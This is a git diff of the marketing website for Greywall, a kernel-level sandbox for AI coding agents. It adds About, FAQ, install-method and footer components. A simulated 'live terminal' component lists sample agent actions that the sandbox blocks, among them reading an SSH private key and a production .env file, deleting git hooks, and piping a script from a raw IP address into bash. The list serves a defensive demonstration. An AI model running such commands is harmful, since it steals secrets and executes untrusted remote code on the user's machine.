{ url: 'https://greywall.io/privacy', lastModified: new Date(), changeFrequency: 'yearly', priority: 0.3 },
|
||||
]
|
||||
}
|
||||
128
components/about.tsx
Normal file
@@ -0,0 +1,128 @@
|
||||
import { Users } from 'lucide-react'
|
||||
|
||||
export function About() {
|
||||
return (
|
||||
<section id="about" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Users className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
About
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-4">
|
||||
We built it for ourselves, then open-sourced it.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl space-y-4 text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
<p>
|
||||
Greywall was built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">Greyhaven</a>,
|
||||
where we build custom{' '}
|
||||
<a href="https://greyhaven.co/insights/greyhaven-sovereign-ai-framework" target="_blank" rel="noopener noreferrer" className="text-foreground font-medium hover:text-primary transition-colors">sovereign AI</a> solutions for enterprises.
|
||||
We needed kernel-enforced sandboxing with real-time visibility. Nothing existed, so we built it.
|
||||
</p>
|
||||
<p>
|
||||
It runs in our production deployments every day. We open-sourced it because the security
|
||||
layer around your tools should be independent of the company selling you the AI.
|
||||
We actively maintain it and ship updates regularly.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Team */}
|
||||
<div className="mt-16 border-t border-border/30 pt-16 mb-16">
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-8">
|
||||
The people behind it.
|
||||
</h3>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4 sm:gap-6">
|
||||
<a
|
||||
href="https://github.com/cowpig"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/cowpig.png?size=64"
|
||||
alt="Max McCrea"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Max McCrea</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">CEO & Founder, Greyhaven</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
AI researcher, Recurse Center alumnus. Built Monadical since 2016. Now building sovereign AI infrastructure.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/nikitalokhmachev-ai"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/nikitalokhmachev-ai.png?size=64"
|
||||
alt="Nikita Lokhmachev"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Nikita Lokhmachev</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">Technical Product Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Former startup CTO, Fulbright scholar. Leads AI tooling and process engineering.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/tito"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-start gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||
>
|
||||
<img
|
||||
src="https://github.com/tito.png?size=64"
|
||||
alt="Mathieu Virbel"
|
||||
width={40}
|
||||
height={40}
|
||||
className="rounded-md shrink-0 bg-muted mt-0.5"
|
||||
/>
|
||||
<div>
|
||||
<div className="font-sans font-semibold text-sm text-foreground">Mathieu Virbel</div>
|
||||
<div className="text-xs text-primary font-sans font-medium">Senior Team Lead</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-1.5 leading-relaxed">
|
||||
Creator of <a href="https://github.com/kivy/kivy" target="_blank" rel="noopener noreferrer" className="text-foreground hover:text-primary transition-colors">Kivy</a> (19k+ stars). Full stack engineer, GSoC mentor.
|
||||
</p>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="border-t border-border/30 pt-16">
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">
|
||||
Need more than sandboxing?
|
||||
</h3>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed max-w-2xl mb-8">
|
||||
Greywall is one piece of a larger platform. For enterprises that need sovereign AI
|
||||
infrastructure, private model deployment, and end-to-end agent orchestration,
|
||||
Greyhaven builds custom solutions on your terms.
|
||||
</p>
|
||||
<a
|
||||
href="https://greyhaven.co/contact"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-2 px-6 py-3 rounded-lg border border-border/50 bg-card/30 font-sans text-sm font-medium text-foreground hover:border-primary/30 hover:text-primary transition-all"
|
||||
>
|
||||
Talk to our team
|
||||
<span className="text-muted-foreground">→</span>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,16 +1,17 @@
|
||||
import Image from 'next/image'
|
||||
import { CheckCircle2 } from 'lucide-react'
|
||||
|
||||
const agents = [
|
||||
{ name: 'Claude Code', org: 'anthropics', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', org: 'openai', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', org: 'getcursor', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', org: 'Aider-AI', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', org: 'block', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', org: 'sourcegraph', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', org: 'google-gemini', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', org: 'cline', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', org: 'nicepkg', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', org: 'github', url: 'https://github.com/features/copilot' },
|
||||
{ name: 'Claude Code', icon: '/agents/anthropics.png', url: 'https://docs.anthropic.com/en/docs/claude-code' },
|
||||
{ name: 'Codex', icon: '/agents/openai.png', url: 'https://github.com/openai/codex' },
|
||||
{ name: 'Cursor', icon: '/agents/getcursor.png', url: 'https://cursor.com' },
|
||||
{ name: 'Aider', icon: '/agents/aider-ai.png', url: 'https://aider.chat' },
|
||||
{ name: 'Goose', icon: '/agents/block.png', url: 'https://github.com/block/goose' },
|
||||
{ name: 'Amp', icon: '/agents/sourcegraph.png', url: 'https://ampcode.com' },
|
||||
{ name: 'Gemini CLI', icon: '/agents/google-gemini.png', url: 'https://github.com/google-gemini/gemini-cli' },
|
||||
{ name: 'Cline', icon: '/agents/cline.png', url: 'https://cline.bot' },
|
||||
{ name: 'OpenCode', icon: '/agents/nicepkg.png', url: 'https://opencode.ai/' },
|
||||
{ name: 'Copilot', icon: '/agents/github.png', url: 'https://github.com/features/copilot' },
|
||||
]
|
||||
|
||||
export function Agents() {
|
||||
@@ -42,8 +43,8 @@ export function Agents() {
|
||||
rel="noopener noreferrer"
|
||||
className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
|
||||
>
|
||||
<img
|
||||
src={`https://github.com/${agent.org}.png?size=64`}
|
||||
<Image
|
||||
src={agent.icon}
|
||||
alt={agent.name}
|
||||
width={28}
|
||||
height={28}
|
||||
|
||||
@@ -90,13 +90,6 @@ const rows: Row[] = [
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'Open source',
|
||||
greywall: 'yes',
|
||||
safehouse: 'yes',
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'yes',
|
||||
},
|
||||
{
|
||||
feature: 'Syscall filtering',
|
||||
greywall: 'yes',
|
||||
@@ -111,34 +104,27 @@ const rows: Row[] = [
|
||||
claudeSandbox: 'partial',
|
||||
containers: 'no',
|
||||
},
|
||||
{
|
||||
feature: 'No deprecated APIs',
|
||||
greywall: 'yes',
|
||||
safehouse: 'no',
|
||||
claudeSandbox: 'yes',
|
||||
containers: 'yes',
|
||||
},
|
||||
]
|
||||
|
||||
function CellIcon({ value }: { value: CellValue }) {
|
||||
if (value === 'yes') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10" aria-label="Supported">
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'no') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10" aria-label="Not supported">
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
if (value === 'partial') {
|
||||
return (
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10" aria-label="Partial support">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
@@ -162,8 +148,7 @@ export function Comparison() {
|
||||
Not all sandboxes are equal.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||
Security that adds friction doesn't get used. Here's how Greywall compares to the alternatives.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
@@ -228,19 +213,19 @@ export function Comparison() {
|
||||
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||
<Check className="h-3 w-3 text-green-400" />
|
||||
<Check className="h-3 w-3 text-green-400" aria-hidden="true" />
|
||||
</span>
|
||||
Supported
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||
<Minus className="h-3 w-3 text-yellow-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Partial
|
||||
</div>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||
<X className="h-3 w-3 text-red-400/70" />
|
||||
<X className="h-3 w-3 text-red-400/70" aria-hidden="true" />
|
||||
</span>
|
||||
Not supported
|
||||
</div>
|
||||
|
||||
@@ -48,11 +48,11 @@ export function Control() {
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Default deny. Explicit allow.
|
||||
Nothing is allowed unless you say so.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
Agents inherit your full permissions. Greywall flips this: nothing is accessible
|
||||
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||
Greywall gives teams and AI agents the freedom to operate within precise security
|
||||
boundaries.
|
||||
</p>
|
||||
</div>
|
||||
<PlatformToggle />
|
||||
@@ -121,7 +121,7 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
Full network namespace isolation. The process can't see the host network.
|
||||
Every packet hits the TUN device and routes through GreyProxy, including
|
||||
Every packet hits the TUN device and routes through Greywall, including
|
||||
binaries that ignore proxy env vars.
|
||||
</p>
|
||||
</div>
|
||||
@@ -162,7 +162,7 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
All outbound traffic is blocked at the kernel. Only the proxy address is
|
||||
reachable. GreyProxy then applies domain-level allow/deny rules.
|
||||
reachable. Greywall then applies domain-level allow/deny rules.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
@@ -239,8 +239,8 @@ export function Control() {
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
|
||||
{platform === 'linux'
|
||||
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
|
||||
: 'Uses macOS Endpoint Security (eslogger) to trace access. Auto-generates a least-privilege template from observed paths.'}
|
||||
? 'No need to figure out which paths to allow. Traces what your agent accesses via strace and generates a least-privilege policy automatically. No special permissions needed.'
|
||||
: 'No need to figure out which paths to allow. Traces what your agent accesses via macOS eslogger and generates a least-privilege policy automatically.'}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
120
components/faq.tsx
Normal file
@@ -0,0 +1,120 @@
|
||||
'use client'
|
||||
|
||||
import { useState } from 'react'
|
||||
import { HelpCircle, ChevronDown } from 'lucide-react'
|
||||
|
||||
const faqs = [
|
||||
{
|
||||
question: 'What is Greywall?',
|
||||
answer:
|
||||
'Greywall is a command-line tool that sandboxes AI coding agents. You wrap your agent in it — <code>greywall -- claude</code> — and nothing is accessible unless you explicitly allow it. The agent can read and write your project files, but it cannot touch your SSH keys, read your .env, or make network calls you haven\'t approved. It works on Linux and macOS, requires no containers, and is open source under the Apache 2.0 license. The basic promise is modest: your AI assistant should not have more access to your computer than you would give a stranger at a coffee shop.',
|
||||
},
|
||||
{
|
||||
question: 'How do I sandbox my AI coding agent?',
|
||||
answer:
|
||||
'Install Greywall, then prefix your command: <code>greywall -- claude</code>, <code>greywall -- opencode</code>, or any other CLI agent. That is the whole process. Greywall operates at the OS level, so it does not need plugins, extensions, or agent-specific configuration. The agent launches inside a kernel-enforced sandbox and runs normally — it just cannot reach things you have not explicitly allowed. If you want to see what the agent is trying to access, open the Greywall dashboard.',
|
||||
},
|
||||
{
|
||||
question: 'How is Greywall different from running agents in Docker?',
|
||||
answer:
|
||||
'Containers were designed to ship software, not to babysit it. When you run an AI agent inside Docker, you get isolation, but you lose access to your local tools, editor integrations, and filesystem. Every dependency change means rebuilding an image. That friction is why most people just don\'t bother. Greywall takes a different approach: the agent runs natively on your machine with full access to your toolchain, but the kernel enforces boundaries around what it can reach. Think of it as the difference between locking someone in a room versus letting them walk around the house with certain doors locked. You also get real-time visibility into what the agent is doing, which Docker does not offer.',
|
||||
},
|
||||
{
|
||||
question: 'Does Greywall work on macOS?',
|
||||
answer:
|
||||
'Yes. On macOS, Greywall uses Seatbelt — Apple\'s built-in kernel sandbox, the same one that constrains App Store applications. It generates a sandbox profile for each session that blocks everything unless explicitly allowed, covering filesystem access, network connections, and IPC. Network traffic is routed through Greywall via environment variables. On Linux, there are more layers available (Bubblewrap, Landlock, Seccomp BPF, eBPF, and a TUN device for network capture), but the macOS implementation provides strong isolation using only built-in OS capabilities. No additional packages required.',
|
||||
},
|
||||
{
|
||||
question: 'Is Greywall open source?',
|
||||
answer:
|
||||
'Yes. Apache 2.0 license, source code on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer">GitHub</a>. For a security tool, this is not a philosophical position so much as a practical necessity. You should be able to read the code that stands between an AI agent and your production credentials. Greywall is built by <a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer">Greyhaven</a>, who use it in their own production deployments. As the saying goes — never trust a lock you cannot pick apart.',
|
||||
},
|
||||
{
|
||||
question: 'What kernel version does Linux require?',
|
||||
answer:
|
||||
'The minimum is Linux 3.8 for namespace isolation via Bubblewrap. Landlock filesystem controls need 5.13. Seccomp BPF needs 3.5. eBPF monitoring needs 4.15. The network proxy works on any kernel. Greywall detects what your system supports at runtime and activates every available layer. If you are on a reasonably modern distribution — anything from the last few years — you will get all five layers. Run <code>greywall --linux-features</code> to see what is available. The tool degrades gracefully rather than refusing to start, which is a courtesy more software should extend.',
|
||||
},
|
||||
{
|
||||
question: 'Which AI agents does Greywall support?',
|
||||
answer:
|
||||
'All of them. Claude Code, Codex, Cursor, Aider, Goose, Amp, Gemini CLI, Cline, OpenCode, Copilot — anything that runs as a process on your machine. Greywall does not need agent-specific configuration because it operates at the OS level, below the agent. The agent does not know it is sandboxed, which is, in a way, the whole point. It simply discovers that certain operations fail, adapts, and carries on with its work. Most of the time, this is exactly what you wanted it to do in the first place.',
|
||||
},
|
||||
]
|
||||
|
||||
const faqJsonLd = {
|
||||
'@context': 'https://schema.org',
|
||||
'@type': 'FAQPage',
|
||||
mainEntity: faqs.map((faq) => ({
|
||||
'@type': 'Question',
|
||||
name: faq.question,
|
||||
acceptedAnswer: {
|
||||
'@type': 'Answer',
|
||||
text: faq.answer.replace(/<[^>]*>/g, ''),
|
||||
},
|
||||
})),
|
||||
}
|
||||
|
||||
function FAQItem({ question, answer }: { question: string; answer: string }) {
|
||||
const [open, setOpen] = useState(false)
|
||||
|
||||
return (
|
||||
<div className="border-b border-border/30">
|
||||
<button
|
||||
onClick={() => setOpen(!open)}
|
||||
className="w-full flex items-center justify-between gap-4 py-5 text-left cursor-pointer"
|
||||
>
|
||||
<h3 className="font-serif text-base sm:text-lg font-semibold text-foreground">
|
||||
{question}
|
||||
</h3>
|
||||
<ChevronDown
|
||||
className={`h-4 w-4 shrink-0 text-muted-foreground transition-transform duration-200 ${
|
||||
open ? 'rotate-180' : ''
|
||||
}`}
|
||||
/>
|
||||
</button>
|
||||
<div
|
||||
className={`grid transition-[grid-template-rows] duration-200 ${
|
||||
open ? 'grid-rows-[1fr]' : 'grid-rows-[0fr]'
|
||||
}`}
|
||||
>
|
||||
<div className="overflow-hidden">
|
||||
<p
|
||||
className="pb-5 text-muted-foreground font-serif text-base leading-relaxed [&_code]:font-mono [&_code]:text-xs [&_code]:text-foreground [&_code]:bg-card/50 [&_code]:px-1.5 [&_code]:py-0.5 [&_code]:rounded [&_a]:text-primary [&_a]:hover:text-primary/80 [&_a]:transition-colors"
|
||||
dangerouslySetInnerHTML={{ __html: answer }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function FAQ() {
|
||||
return (
|
||||
<section className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-12">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<HelpCircle className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Questions
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Frequently asked.
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="max-w-3xl">
|
||||
{faqs.map((faq) => (
|
||||
<FAQItem key={faq.question} question={faq.question} answer={faq.answer} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
<script
|
||||
type="application/ld+json"
|
||||
dangerouslySetInnerHTML={{ __html: JSON.stringify(faqJsonLd) }}
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -32,6 +32,12 @@ export function Footer() {
|
||||
>
|
||||
greyhaven.co
|
||||
</a>
|
||||
<a
|
||||
href="/privacy"
|
||||
className="hover:text-foreground transition-colors"
|
||||
>
|
||||
Privacy
|
||||
</a>
|
||||
<span>Apache 2.0</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -3,17 +3,58 @@
|
||||
import { useState } from 'react'
|
||||
import { Download, Copy, Check } from 'lucide-react'
|
||||
|
||||
const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
|
||||
const methods = [
|
||||
{
|
||||
label: 'Homebrew (macOS)',
|
||||
cmd: 'brew tap greyhavenhq/tap\nbrew install greywall',
|
||||
},
|
||||
{
|
||||
label: 'Linux / Mac',
|
||||
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
|
||||
},
|
||||
{
|
||||
label: 'Go install',
|
||||
cmd: 'go install github.com/GreyhavenHQ/greywall/cmd/greywall@latest',
|
||||
},
|
||||
{
|
||||
label: 'Build from source',
|
||||
cmd: 'git clone https://github.com/GreyhavenHQ/greywall\ncd greywall\nmake setup && make build',
|
||||
},
|
||||
]
|
||||
|
||||
export function GettingStarted() {
|
||||
function CodeBlock({ cmd, label }: { cmd: string; label: string }) {
|
||||
const [copied, setCopied] = useState(false)
|
||||
|
||||
function copy() {
|
||||
navigator.clipboard.writeText(installCmd)
|
||||
navigator.clipboard.writeText(cmd)
|
||||
setCopied(true)
|
||||
setTimeout(() => setCopied(false), 2000)
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="text-xs font-sans font-medium text-muted-foreground mb-2">{label}</div>
|
||||
<div className="code-block px-4 sm:px-5 py-3.5 flex items-start justify-between gap-3">
|
||||
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
|
||||
<pre className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-pre">{cmd}</pre>
|
||||
</div>
|
||||
<button
|
||||
onClick={copy}
|
||||
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all mt-0.5"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function GettingStarted() {
|
||||
return (
|
||||
<section id="getting-started" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl text-center">
|
||||
@@ -24,30 +65,16 @@ export function GettingStarted() {
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Install in one command
|
||||
Install in one command.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed mb-10">
|
||||
Wrap any agent and it runs sandboxed.
|
||||
</p>
|
||||
|
||||
<div className="inline-block w-full max-w-fit">
|
||||
<div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center gap-3">
|
||||
<code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
{installCmd}
|
||||
</code>
|
||||
<button
|
||||
onClick={copy}
|
||||
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
|
||||
title="Copy to clipboard"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="h-4 w-4 text-primary" />
|
||||
) : (
|
||||
<Copy className="h-4 w-4" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
<div className="mx-auto max-w-2xl text-left space-y-6">
|
||||
{methods.map((m) => (
|
||||
<CodeBlock key={m.label} label={m.label} cmd={m.cmd} />
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
91
components/hackathons/live-terminal.tsx
Normal file
@@ -0,0 +1,91 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
|
||||
/* ─── Simulated live data stream terminal ─── */
|
||||
|
||||
const streamLines = [
|
||||
{ type: 'allow', text: 'GET github.com/api/v3/repos', time: '0.23s' },
|
||||
{ type: 'allow', text: 'GET registry.npmjs.org/react', time: '0.11s' },
|
||||
{ type: 'block', text: 'POST telemetry.unknown-host.io/v1/collect', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/src/index.ts', time: '0.01s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/src/utils.ts', time: '0.02s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.ssh/id_rsa', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET api.openai.com/v1/chat/completions', time: '1.82s' },
|
||||
{ type: 'block', text: 'EXEC rm -rf /home/dev/.git/hooks', time: '0.00s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/package.json', time: '0.01s' },
|
||||
{ type: 'allow', text: 'GET cdn.jsdelivr.net/npm/lodash', time: '0.09s' },
|
||||
{ type: 'block', text: 'READ /home/dev/.env.production', time: '0.00s' },
|
||||
{ type: 'allow', text: 'WRITE /home/dev/project/dist/bundle.js', time: '0.15s' },
|
||||
{ type: 'block', text: 'POST metrics.analytics-corp.net/ingest', time: '0.00s' },
|
||||
{ type: 'allow', text: 'GET fonts.googleapis.com/css2', time: '0.08s' },
|
||||
{ type: 'allow', text: 'READ /home/dev/project/tsconfig.json', time: '0.01s' },
|
||||
{ type: 'block', text: 'EXEC curl -s http://159.203.12.41/sh | bash', time: '0.00s' },
|
||||
]
|
||||
|
||||
export function LiveTerminal() {
|
||||
const [lines, setLines] = useState<typeof streamLines>([])
|
||||
const [currentIndex, setCurrentIndex] = useState(0)
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const interval = setInterval(() => {
|
||||
setCurrentIndex((prev) => {
|
||||
const next = (prev + 1) % streamLines.length
|
||||
setLines((prevLines) => {
|
||||
const newLines = [...prevLines, streamLines[next]]
|
||||
return newLines.slice(-8) // Keep last 8 visible
|
||||
})
|
||||
return next
|
||||
})
|
||||
}, 1800)
|
||||
|
||||
return () => clearInterval(interval)
|
||||
}, [])
|
||||
|
||||
useEffect(() => {
|
||||
if (containerRef.current) {
|
||||
containerRef.current.scrollTop = containerRef.current.scrollHeight
|
||||
}
|
||||
}, [lines])
|
||||
|
||||
return (
|
||||
<div className="rounded-2xl border border-border/40 bg-[#1a1a18] overflow-hidden shadow-2xl shadow-black/30">
|
||||
{/* Title bar */}
|
||||
<div className="flex items-center gap-2 px-4 py-2.5 border-b border-border/20 bg-[#1e1e1b]">
|
||||
<div className="flex gap-1.5">
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ff5f57]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#ffbd2e]" />
|
||||
<div className="w-2.5 h-2.5 rounded-full bg-[#28c840]" />
|
||||
</div>
|
||||
<span className="text-[10px] text-muted-foreground/50 font-mono ml-2">greywall proxy stream</span>
|
||||
<div className="ml-auto flex items-center gap-1.5">
|
||||
<div className="w-1.5 h-1.5 rounded-full bg-emerald-500 animate-pulse" />
|
||||
<span className="text-[10px] text-emerald-500/70 font-mono">live</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Stream content */}
|
||||
<div ref={containerRef} className="p-4 h-[260px] overflow-hidden font-mono text-xs leading-relaxed">
|
||||
{lines.map((line, i) => (
|
||||
<div
|
||||
key={`${i}-${line.text}`}
|
||||
className="flex items-start gap-2 py-0.5 animate-fade-up"
|
||||
style={{ animationDuration: '0.3s' }}
|
||||
>
|
||||
<span className={`shrink-0 font-bold ${line.type === 'block' ? 'text-red-400' : 'text-emerald-400'}`}>
|
||||
{line.type === 'block' ? 'DENY' : ' OK '}
|
||||
</span>
|
||||
<span className="text-muted-foreground/70 flex-1 truncate">{line.text}</span>
|
||||
<span className="text-muted-foreground/30 shrink-0">{line.time}</span>
|
||||
</div>
|
||||
))}
|
||||
{/* Blinking cursor */}
|
||||
<div className="flex items-center gap-1 pt-1">
|
||||
<span className="text-primary/60">{'>'}</span>
|
||||
<span className="w-1.5 h-3.5 bg-primary/50 animate-pulse" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
219
components/hackathons/shield-scene.tsx
Normal file
@@ -0,0 +1,219 @@
|
||||
'use client'
|
||||
|
||||
import { useRef, useMemo } from 'react'
|
||||
import { Canvas, useFrame } from '@react-three/fiber'
|
||||
import { Float } from '@react-three/drei'
|
||||
import * as THREE from 'three'
|
||||
|
||||
/* ─── Orbiting particles ─── */
|
||||
|
||||
function Particles({ count = 80 }: { count?: number }) {
|
||||
const mesh = useRef<THREE.InstancedMesh>(null)
|
||||
const dummy = useMemo(() => new THREE.Object3D(), [])
|
||||
|
||||
const particles = useMemo(() => {
|
||||
return Array.from({ length: count }, (_, i) => ({
|
||||
radius: 1.8 + Math.random() * 1.4,
|
||||
speed: 0.15 + Math.random() * 0.3,
|
||||
offset: (i / count) * Math.PI * 2,
|
||||
y: (Math.random() - 0.5) * 2.5,
|
||||
size: 0.015 + Math.random() * 0.025,
|
||||
}))
|
||||
}, [count])
|
||||
|
||||
useFrame(({ clock }) => {
|
||||
if (!mesh.current) return
|
||||
const t = clock.getElapsedTime()
|
||||
particles.forEach((p, i) => {
|
||||
